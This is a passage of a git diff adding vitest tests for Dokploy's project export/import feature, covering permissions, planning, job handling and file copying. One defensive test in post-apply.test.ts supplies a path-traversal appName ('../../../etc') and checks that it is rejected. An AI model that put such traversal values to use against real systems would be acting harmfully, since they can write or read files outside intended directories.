"../../server/api/routers/project-export-import" +); + +const ctxFor = (organizationId: string) => + ({ + session: { activeOrganizationId: organizationId }, + user: { id: "user-1", email: "a@b.com" }, + }) as any; + +describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => { + it("importFromDestination never leaks the destination's S3 secret in its error message", async () => { + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.importFromDestination({ + destinationId: "destination-1", + key: "key.tar.gz", + }), + ).rejects.toSatisfy((error: unknown) => { + const message = error instanceof Error ? error.message : String(error); + expect(message).not.toContain("realsecretkey789"); + return true; + }); + }); + + it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => { + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.listRemoteBundles({ destinationId: "destination-1" }), + ).rejects.toSatisfy((error: unknown) => { + const message = error instanceof Error ? error.message : String(error); + expect(message).not.toContain("realsecretkey789"); + return true; + }); + }); +}); diff --git a/apps/dokploy/__test__/export-import/import-job.test.ts b/apps/dokploy/__test__/export-import/import-job.test.ts new file mode 100644 index 000000000..d87521b1e --- /dev/null +++ b/apps/dokploy/__test__/export-import/import-job.test.ts @@ -0,0 +1,282 @@ +import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { + Plan, + Snapshot, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { + cancelImport, + cleanupExpiredImports, + createImportJob, + getImportJob, + runImport, + updateImportJob, +} from "@dokploy/server/services/project-export-import"; +import { TRPCError } from "@trpc/server"; +import { afterEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [], + services: [], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], +}; + +const plan: Plan = { + target: { kind: "newProject", name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: {}, + domainStrategy: { custom: "keep" }, + portsStrategy: "keep", + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, +}; + +const waitForStatus = async ( + importId: string, + target: "done" | "failed", + timeoutMs = 5000, +) => { + const start = Date.now(); + while (Date.now() - start < timeoutMs) { + const job = getImportJob(importId); + if (job?.status === target || job?.status === "failed") { + return job; + } + await new Promise((resolve) => setTimeout(resolve, 10)); + } + throw new Error( + `Timed out waiting for import ${importId} to reach ${target}`, + ); +}; + +describe("runImport", () => { + it("leaves nothing created when apply() fails (transaction never commits)", async () => { + const importId = "import-fail-1"; + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { + snapshot, + plan, + secretsPlain: new Map(), + workDir: local("/tmp/does-not-matter"), + }); + + const failingDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + }, + insert: () => { + throw new Error("insert should never be called"); + }, + update: () => { + throw new Error("update should never be called"); + }, + transaction: async () => { + throw new Error("Simulated apply failure"); + }, + } as any as TransferWriteDb; + + runImport(importId, { db: failingDb, organizationId: "org-dest" }); + + const job = await waitForStatus(importId, "failed"); + expect(job?.status).toBe("failed"); + expect(job?.result).toBeUndefined(); + expect(job?.partial).toBeFalsy(); + expect(job?.error).toContain("Simulated apply failure"); + }); + + it("clears secretsPlain right after apply() and snapshot once the job is done", async () => { + const importId = "import-clear-secrets-1"; + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { + snapshot, + plan, + secretsPlain: new Map([["some-secret-id", "super-secret-value"]]), + workDir: local("/tmp/does-not-matter"), + }); + + const workingDb = { + query: { + server: { findFirst: async () => undefined }, + webServerSettings: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + certificates: { findFirst: async () => undefined }, + }, + insert: () => ({ + values: (values: Record) => ({ + returning: async () => [{ ...values, projectId: "new-project-1" }], + }), + }), + update: () => ({ set: () => ({ where: async () => {} }) }), + transaction: async (fn: (tx: unknown) => Promise) => + fn({ ...workingDb }), + } as any as TransferWriteDb; + + runImport(importId, { db: workingDb, organizationId: "org-dest" }); + + const job = await waitForStatus(importId, "done"); + expect(job?.status).toBe("done"); + expect(job?.secretsPlain).toBeUndefined(); + expect(job?.snapshot).toBeUndefined(); + }); + + it("refuses to run without snapshot/plan/secrets already set on the job", async () => { + const importId = "import-missing-1"; + createImportJob(importId, "user-1", "org-dest"); + + const unusedDb = { + query: {}, + insert: () => { + throw new Error("should never be called"); + }, + update: () => { + throw new Error("should never be called"); + }, + transaction: async () => { + throw new Error("should never be called"); + }, + } as any as TransferWriteDb; + + runImport(importId, { db: unusedDb, organizationId: "org-dest" }); + + const job = await waitForStatus(importId, "failed"); + expect(job?.status).toBe("failed"); + expect(job?.error).toMatch(/inspect, unlock and plan/i); + }); +}); + +describe("cancelImport (T-4.2)", () => { + let root: string; + + afterEach(async () => { + if (root) { + await rm(root, { recursive: true, force: true }); + } + }); + + it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-")); + const importId = "import-cancel-1"; + const jobDir = join(root, importId); + const workDir = join(jobDir, "extracted"); + await mkdir(workDir, { recursive: true }); + await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle"); + await writeFile(join(workDir, "manifest.json"), "{}"); + + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) }); + + await cancelImport(importId); + + await expect(readdir(jobDir)).rejects.toThrow(); + expect(getImportJob(importId)).toBeUndefined(); + }); + + it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-")); + const importId = "import-cancel-running-1"; + const jobDir = join(root, importId); + await mkdir(jobDir, { recursive: true }); + + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { root: local(jobDir), status: "restoring" }); + + await expect(cancelImport(importId)).rejects.toThrow(TRPCError); + + expect(getImportJob(importId)?.status).toBe("restoring"); + await expect(readdir(jobDir)).resolves.toEqual([]); + }); + + it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-")); + const importId = "import-cancel-idle-1"; + const jobDir = join(root, importId); + await mkdir(jobDir, { recursive: true }); + + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { root: local(jobDir), status: "planned" }); + + await cancelImport(importId); + + expect(getImportJob(importId)).toBeUndefined(); + }); +}); + +describe("cleanupExpiredImports (T-5.10)", () => { + let root: string; + + afterEach(async () => { + if (root) { + await rm(root, { recursive: true, force: true }); + } + }); + + it("leaves an active (non-terminal status) job alone even past the TTL", async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-")); + const importId = "active-past-ttl-1"; + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { status: "restoring" }); + + const farFuture = Date.now() + 2 * 60 * 60 * 1000; + const expired = await cleanupExpiredImports(farFuture); + + expect(expired.map((j) => j.importId)).not.toContain(importId); + expect(getImportJob(importId)).toBeDefined(); + }); + + it("cleans up a terminal-status job once it's past the TTL", async () => { + root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-")); + const importId = "terminal-past-ttl-1"; + const jobDir = join(root, importId); + await mkdir(jobDir, { recursive: true }); + createImportJob(importId, "user-1", "org-dest"); + updateImportJob(importId, { root: local(jobDir), status: "done" }); + + const farFuture = Date.now() + 2 * 60 * 60 * 1000; + const expired = await cleanupExpiredImports(farFuture); + + expect(expired.map((j) => j.importId)).toContain(importId); + expect(getImportJob(importId)).toBeUndefined(); + await expect(readdir(jobDir)).rejects.toThrow(); + }); +}); diff --git a/apps/dokploy/__test__/export-import/jobs.test.ts b/apps/dokploy/__test__/export-import/jobs.test.ts new file mode 100644 index 000000000..17e2d7607 --- /dev/null +++ b/apps/dokploy/__test__/export-import/jobs.test.ts @@ -0,0 +1,65 @@ +import { + assertNoActiveTransfer, + createExportJob, + createImportJob, + createImportJobIfNoneActive, + getImportJob, + updateExportJob, + updateImportJob, +} from "@dokploy/server/services/project-export-import"; +import { TRPCError } from "@trpc/server"; +import { describe, expect, it } from "vitest"; + +describe("assertNoActiveTransfer (T-4.2)", () => { + it("throws when the user has an in-progress export", () => { + createExportJob("export-rl-1", "user-rl-1", "org-1"); + updateExportJob("export-rl-1", { status: "capturing" }); + + expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError); + }); + + it("throws when the user has an in-progress import", () => { + createImportJob("import-rl-1", "user-rl-2", "org-1"); + updateImportJob("import-rl-1", { status: "applying" }); + + expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError); + }); + + it("does not throw once the job reaches a terminal status", () => { + createExportJob("export-rl-2", "user-rl-3", "org-1"); + updateExportJob("export-rl-2", { status: "done" }); + createImportJob("import-rl-2", "user-rl-3", "org-1"); + updateImportJob("import-rl-2", { status: "done" }); + + expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow(); + }); + + it("does not throw for a different user's in-progress job", () => { + createExportJob("export-rl-3", "user-rl-4", "org-1"); + updateExportJob("export-rl-3", { status: "capturing" }); + + expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow(); + }); +}); + +describe("createImportJobIfNoneActive (T-5.11)", () => { + it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => { + createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1"); + + expect(() => + createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"), + ).toThrow(TRPCError); + + expect(getImportJob("import-atomic-1")).toBeDefined(); + expect(getImportJob("import-atomic-2")).toBeUndefined(); + }); + + it("still allows a different user's call to proceed", () => { + createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1"); + + expect(() => + createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"), + ).not.toThrow(); + expect(getImportJob("import-atomic-4")).toBeDefined(); + }); +}); diff --git a/apps/dokploy/__test__/export-import/migrations.test.ts b/apps/dokploy/__test__/export-import/migrations.test.ts new file mode 100644 index 000000000..497bda72b --- /dev/null +++ b/apps/dokploy/__test__/export-import/migrations.test.ts @@ -0,0 +1,52 @@ +import type { Manifest } from "@dokploy/server/services/project-export-import"; +import { + migrateManifest, + TRANSFER_FORMAT, + TRANSFER_FORMAT_VERSION, + UnsupportedBundleVersionError, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const baseManifest: Manifest = { + format: TRANSFER_FORMAT, + formatVersion: TRANSFER_FORMAT_VERSION, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, +}; + +describe("migrateManifest", () => { + it("returns a v1 manifest unchanged (identity)", () => { + const result = migrateManifest(baseManifest); + expect(result).toEqual(baseManifest); + }); + + it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => { + const future: Manifest = { + ...baseManifest, + formatVersion: TRANSFER_FORMAT_VERSION + 1, + }; + expect(() => migrateManifest(future)).toThrow( + UnsupportedBundleVersionError, + ); + expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i); + }); +}); diff --git a/apps/dokploy/__test__/export-import/permission.test.ts b/apps/dokploy/__test__/export-import/permission.test.ts new file mode 100644 index 000000000..69f13dbfc --- /dev/null +++ b/apps/dokploy/__test__/export-import/permission.test.ts @@ -0,0 +1,108 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +let memberToReturn: + | { + id: string; + role: string; + userId: string; + organizationId: string; + accessedProjects: string[]; + } + | undefined = { + id: "member-1", + role: "owner", + userId: "user-1", + organizationId: "org-1", + accessedProjects: [], +}; + +let projectToReturn: { projectId: string; organizationId: string } | undefined = + { projectId: "project-1", organizationId: "org-1" }; + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + member: { + findFirst: vi.fn(() => Promise.resolve(memberToReturn)), + }, + projects: { + findFirst: vi.fn(() => Promise.resolve(projectToReturn)), + }, + }, + }, +})); + +const { assertTransferPermission } = await import( + "@dokploy/server/services/project-export-import" +); + +const ctxFor = (organizationId: string) => ({ + user: { id: "user-1" }, + session: { activeOrganizationId: organizationId }, +}); + +beforeEach(() => { + memberToReturn = { + id: "member-1", + role: "owner", + userId: "user-1", + organizationId: "org-1", + accessedProjects: [], + }; + projectToReturn = { projectId: "project-1", organizationId: "org-1" }; +}); + +describe("assertTransferPermission", () => { + it("allows an owner to export", async () => { + memberToReturn = { ...memberToReturn!, role: "owner" }; + await expect( + assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"), + ).resolves.toBeDefined(); + }); + + it("allows an admin to export", async () => { + memberToReturn = { ...memberToReturn!, role: "admin" }; + await expect( + assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"), + ).resolves.toBeDefined(); + }); + + it("rejects a plain member with FORBIDDEN", async () => { + memberToReturn = { ...memberToReturn!, role: "member" }; + await expect( + assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"), + ).rejects.toMatchObject({ code: "FORBIDDEN" }); + }); + + it("rejects a user with no membership in the active org (cross-org access)", async () => { + memberToReturn = undefined; + await expect( + assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"), + ).rejects.toBeDefined(); + }); + + it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => { + projectToReturn = { projectId: "project-1", organizationId: "org-2" }; + await expect( + assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); + + it("rejects NOT_FOUND when projectId doesn't exist at all", async () => { + projectToReturn = undefined; + await expect( + assertTransferPermission( + ctxFor("org-1") as any, + "project-missing", + "export", + ), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); + + it("skips the project lookup entirely when no projectId is given", async () => { + projectToReturn = undefined; + await expect( + assertTransferPermission(ctxFor("org-1") as any, undefined, "export"), + ).resolves.toBeDefined(); + }); +}); diff --git a/apps/dokploy/__test__/export-import/plan.test.ts b/apps/dokploy/__test__/export-import/plan.test.ts new file mode 100644 index 000000000..ab17670f1 --- /dev/null +++ b/apps/dokploy/__test__/export-import/plan.test.ts @@ -0,0 +1,367 @@ +import type { + Requirement, + Snapshot, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + buildPlan, + requirementKey, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const vaultRequirement: Requirement = { + kind: "vault", + originalId: "vault-src", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "my-app", + environmentId: "env-1", + }, + ], + providerName: "prod", + providerType: "hashicorp", + secretKeys: ["DB_PASS"], +}; + +const networkRequirement: Requirement = { + kind: "network", + originalId: "net-src", + configIncluded: true, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "my-app", + environmentId: "env-1", + }, + ], + name: "shared-net", +}; + +const serverRequirement: Requirement = { + kind: "server", + originalId: "server-src-1", + configIncluded: false, + usedBy: [ + { + serviceId: "app-1", + serviceType: "application", + serviceName: "my-app", + environmentId: "env-1", + }, + ], +}; + +const applicationService: Record = { + kind: "application", + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + serverId: "server-src-1", + domains: [{ domainId: "dom-1", host: "existing.example.com" }], + ports: [{ portId: "port-src-1", publishedPort: 8080 }], +}; + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: { application: 1 }, + }, + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [applicationService], + shared: {}, + }, + requirements: [vaultRequirement, networkRequirement, serverRequirement], + warnings: [], + dumps: [], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + vaultProvider: { findMany: async () => [] }, + network: { + findMany: async () => [], + findFirst: async () => ({ + networkId: "net-dest-existing", + name: "shared-net", + organizationId: "org-dest", + }), + }, + server: { + findMany: async () => [ + { + serverId: "server-dest-1", + name: "prod", + organizationId: "org-dest", + }, + ], + findFirst: async () => ({ organizationId: "org-dest" }), + }, + webServerSettings: { findFirst: async () => undefined }, + projects: { + findFirst: async () => ({ + projectId: "project-existing", + name: "my-project", + organizationId: "org-dest", + }), + }, + domains: { + findMany: async () => [ + { domainId: "dom-existing-1", host: "existing.example.com" }, + ], + }, + ports: { + findMany: async () => [ + { + portId: "port-existing-1", + publishedPort: 8080, + application: { serverId: "server-dest-1" }, + }, + ], + }, + }, + }) as any as TransferDb; + +describe("buildPlan", () => { + it("marks a missing vault requirement's services as pending, with a blocking warning", async () => { + const plan = await buildPlan( + fakeDb(), + snapshot, + "org-dest", + { kind: "newProject", name: "my-project" }, + { + resolutions: { + [requirementKey(serverRequirement)]: { + requirementKey: requirementKey(serverRequirement), + action: "reuse", + targetId: "server-dest-1", + }, + }, + }, + ); + + expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({ + requirementKey: requirementKey(vaultRequirement), + action: "skip", + }); + expect(plan.pendingServices).toEqual([ + { + serviceId: "app-1", + serviceType: "application", + reason: 'Missing vault "prod"', + }, + ]); + expect( + plan.warnings.some( + (w) => + w.code === "MISSING_REQUIREMENT_BLOCKING" && + w.severity === "blocking", + ), + ).toBe(true); + }); + + it("flags an existing host as a domain conflict", async () => { + const plan = await buildPlan(fakeDb(), snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + expect(plan.conflicts).toContainEqual( + expect.objectContaining({ + kind: "domain", + value: "existing.example.com", + existingId: "dom-existing-1", + }), + ); + }); + + it("flags an existing project name as a conflict with a suggested rename option", async () => { + const plan = await buildPlan(fakeDb(), snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + expect(plan.conflicts).toContainEqual({ + kind: "projectName", + value: "my-project", + existingId: "project-existing", + usedBy: [], + options: ["rename"], + }); + expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({ + action: "rename", + value: "my-project (imported)", + }); + }); + + it("flags a network conflict only when the requirement's resolution is 'create'", async () => { + const plan = await buildPlan(fakeDb(), snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe( + "create", + ); + expect(plan.conflicts).toContainEqual( + expect.objectContaining({ kind: "network", value: "shared-net" }), + ); + }); + + it("flags a port conflict on the destination server the service resolves to", async () => { + const plan = await buildPlan( + fakeDb(), + snapshot, + "org-dest", + { kind: "newProject", name: "my-project" }, + { + resolutions: { + [requirementKey(serverRequirement)]: { + requirementKey: requirementKey(serverRequirement), + action: "reuse", + targetId: "server-dest-1", + }, + }, + }, + ); + expect(plan.serverMap["server-src-1"]).toBe("server-dest-1"); + expect(plan.conflicts).toContainEqual( + expect.objectContaining({ kind: "port", value: "8080" }), + ); + }); + + it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => { + const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123"); + + const kept = await buildPlan( + fakeDb(), + snapshot, + "org-dest", + { kind: "newProject", name: "my-project" }, + { + keepAppNames: true, + checkAppNameAvailable: async () => true, + }, + ); + expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123"); + }); + + it("retries appName generation against the DB on a simulated collision", async () => { + let findFirstCalls = 0; + const db = { + ...fakeDb(), + query: { + ...(fakeDb() as any).query, + applications: { + findFirst: async () => { + findFirstCalls += 1; + return findFirstCalls <= 2 + ? { applicationId: "app-taken", appName: "whatever" } + : undefined; + }, + }, + }, + } as any as TransferDb; + + const plan = await buildPlan(db, snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + + expect(findFirstCalls).toBeGreaterThanOrEqual(3); + expect(plan.appNameMap["my-app-abc123"]).toBeDefined(); + expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123"); + }); + + it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => { + const db = { + ...fakeDb(), + query: { + ...(fakeDb() as any).query, + applications: { + findFirst: async () => ({ + applicationId: "app-taken", + appName: "whatever", + }), + }, + }, + } as any as TransferDb; + + await expect( + buildPlan(db, snapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }), + ).rejects.toThrow(/unique appName/i); + }); + + it("excludes redis from the dump count summary (it has no dump support)", async () => { + const dumpSnapshot: Snapshot = { + ...snapshot, + manifest: { + ...snapshot.manifest, + scope: { + ...snapshot.manifest.scope, + dumps: { mode: "embed" }, + }, + }, + resources: { + ...snapshot.resources, + services: [ + applicationService, + { + kind: "postgres", + postgresId: "pg-1", + name: "my-db", + appName: "my-db-abc123", + environmentId: "env-1", + }, + { + kind: "redis", + redisId: "redis-1", + name: "my-cache", + appName: "my-cache-abc123", + environmentId: "env-1", + }, + ], + }, + requirements: [], + }; + + const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", { + kind: "newProject", + name: "my-project", + }); + + expect(plan.summary.dumps).toBe(1); + }); +}); diff --git a/apps/dokploy/__test__/export-import/post-apply.test.ts b/apps/dokploy/__test__/export-import/post-apply.test.ts new file mode 100644 index 000000000..22022a04c --- /dev/null +++ b/apps/dokploy/__test__/export-import/post-apply.test.ts @@ -0,0 +1,248 @@ +import { existsSync } from "node:fs"; +import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { + Plan, + Snapshot, + TransferDb, + TransferResult, +} from "@dokploy/server/services/project-export-import"; +import { postApply } from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +vi.mock("@dokploy/server/services/mount", () => ({ + createFileMount: vi.fn(async () => {}), +})); + +const { createFileMount } = await import("@dokploy/server/services/mount"); + +let root: string; +let workDir: string; + +const fakePaths = (_isServer: boolean) => ({ + BASE_PATH: root, + MAIN_TRAEFIK_PATH: join(root, "traefik"), + DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"), + LOGS_PATH: join(root, "logs"), + APPLICATIONS_PATH: join(root, "applications"), + COMPOSE_PATH: join(root, "compose"), + SSH_PATH: join(root, "ssh"), + CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"), + MONITORING_PATH: join(root, "monitoring"), + REGISTRY_PATH: join(root, "registry"), + SCHEDULES_PATH: join(root, "schedules"), + VOLUME_BACKUPS_PATH: join(root, "volume-backups"), + VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"), + PATCH_REPOS_PATH: join(root, "patch-repos"), +}); + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-")); + workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-")); +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); + await rm(workDir, { recursive: true, force: true }); +}); + +const composeService = { + kind: "compose", + composeId: "compose-1", + appName: "my-compose-abc123", + environmentId: "env-1", + serverId: null, +}; + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: {}, + environments: [], + services: [composeService], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [], +}; + +const plan: Plan = { + target: { kind: "newProject", name: "imported" }, + resolutions: {}, + serverMap: {}, + appNameMap: { "my-compose-abc123": "my-compose-xyz789" }, + domainStrategy: { custom: "keep" }, + portsStrategy: "keep", + rotateDatabaseCredentials: false, + conflicts: [], + pendingServices: [], + warnings: [], + validation: [], + summary: { counts: {}, domains: 0, dumps: 0 }, +}; + +const result: TransferResult = { + idMap: { compose: { "compose-1": "compose-new-1" } }, + appNameMap: plan.appNameMap, + pendingRequirements: [], + pendingServices: [], + rotations: [], + restoreErrors: [], + warnings: [], +}; + +const fakeDb = { + query: { + certificates: { findFirst: async () => undefined }, + mounts: { findMany: async () => [] }, + }, +} as any as TransferDb; + +describe("postApply", () => { + it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => { + const sourceDir = join(workDir, "files", "compose", "my-compose-abc123"); + await mkdir(sourceDir, { recursive: true }); + await writeFile( + join(sourceDir, "docker-compose.yml"), + "services:\n web:\n container_name: my-compose-abc123-web\n", + ); + await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n"); + + const { deployCandidates } = await postApply( + fakeDb, + snapshot, + plan, + result, + local(workDir), + { + pathsFn: fakePaths as any, + }, + ); + + const destDir = join(root, "compose", "my-compose-xyz789"); + expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true); + const composeContent = await readFile( + join(destDir, "docker-compose.yml"), + "utf8", + ); + expect(composeContent).toContain("my-compose-xyz789-web"); + expect(composeContent).not.toContain("my-compose-abc123"); + + const envContent = await readFile(join(destDir, ".env"), "utf8"); + expect(envContent).toContain("APP_NAME=my-compose-xyz789"); + + expect(deployCandidates).toEqual([ + { serviceId: "compose-new-1", serviceType: "compose", serverId: null }, + ]); + }); + + it("excludes pending services from deployCandidates", async () => { + const pendingPlan: Plan = { + ...plan, + pendingServices: [ + { + serviceId: "compose-1", + serviceType: "compose", + reason: "Missing registry", + }, + ], + }; + + const { deployCandidates } = await postApply( + fakeDb, + snapshot, + pendingPlan, + result, + local(workDir), + { pathsFn: fakePaths as any }, + ); + + expect(deployCandidates).toEqual([]); + }); +}); + +describe("postApply writes file-type mounts to disk (T-6.6)", () => { + it("calls createFileMount for every file-type mount belonging to a newly created service", async () => { + (createFileMount as any).mockClear(); + const dbWithMounts = { + query: { + certificates: { findFirst: async () => undefined }, + mounts: { + findMany: async () => [ + { + mountId: "mount-file-1", + type: "file", + filePath: "/app/nginx.conf", + }, + ], + }, + }, + } as any as TransferDb; + + await postApply(dbWithMounts, snapshot, plan, result, local(workDir), { + pathsFn: fakePaths as any, + }); + + expect(createFileMount).toHaveBeenCalledWith("mount-file-1"); + expect(createFileMount).toHaveBeenCalledTimes(1); + }); +}); + +describe("postApply rejects an unsafe appName (T-9.2)", () => { + it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => { + const maliciousSnapshot: Snapshot = { + ...snapshot, + resources: { + ...snapshot.resources, + services: [ + { + ...composeService, + appName: "../../../etc", + }, + ], + }, + }; + const maliciousPlan: Plan = { ...plan, appNameMap: {} }; + + const { deployCandidates, postApplyErrors } = await postApply( + fakeDb, + maliciousSnapshot, + maliciousPlan, + result, + local(workDir), + { pathsFn: fakePaths as any }, + ); + + expect(deployCandidates).toEqual([]); + expect(postApplyErrors).toHaveLength(1); + expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/remote-fs.test.ts b/apps/dokploy/__test__/export-import/remote-fs.test.ts new file mode 100644 index 000000000..18949211d --- /dev/null +++ b/apps/dokploy/__test__/export-import/remote-fs.test.ts @@ -0,0 +1,189 @@ +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + copyDir, + copyFile, + escapeShellArg, + exists, + fileSize, + readFile, + remove, + runToFile, + writeFile as writeRemoteFile, +} from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() })); + +vi.mock( + "@dokploy/server/utils/process/remoteStream", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/remoteStream") + >(); + return { + ...actual, + pipeBetweenServers: ( + args: 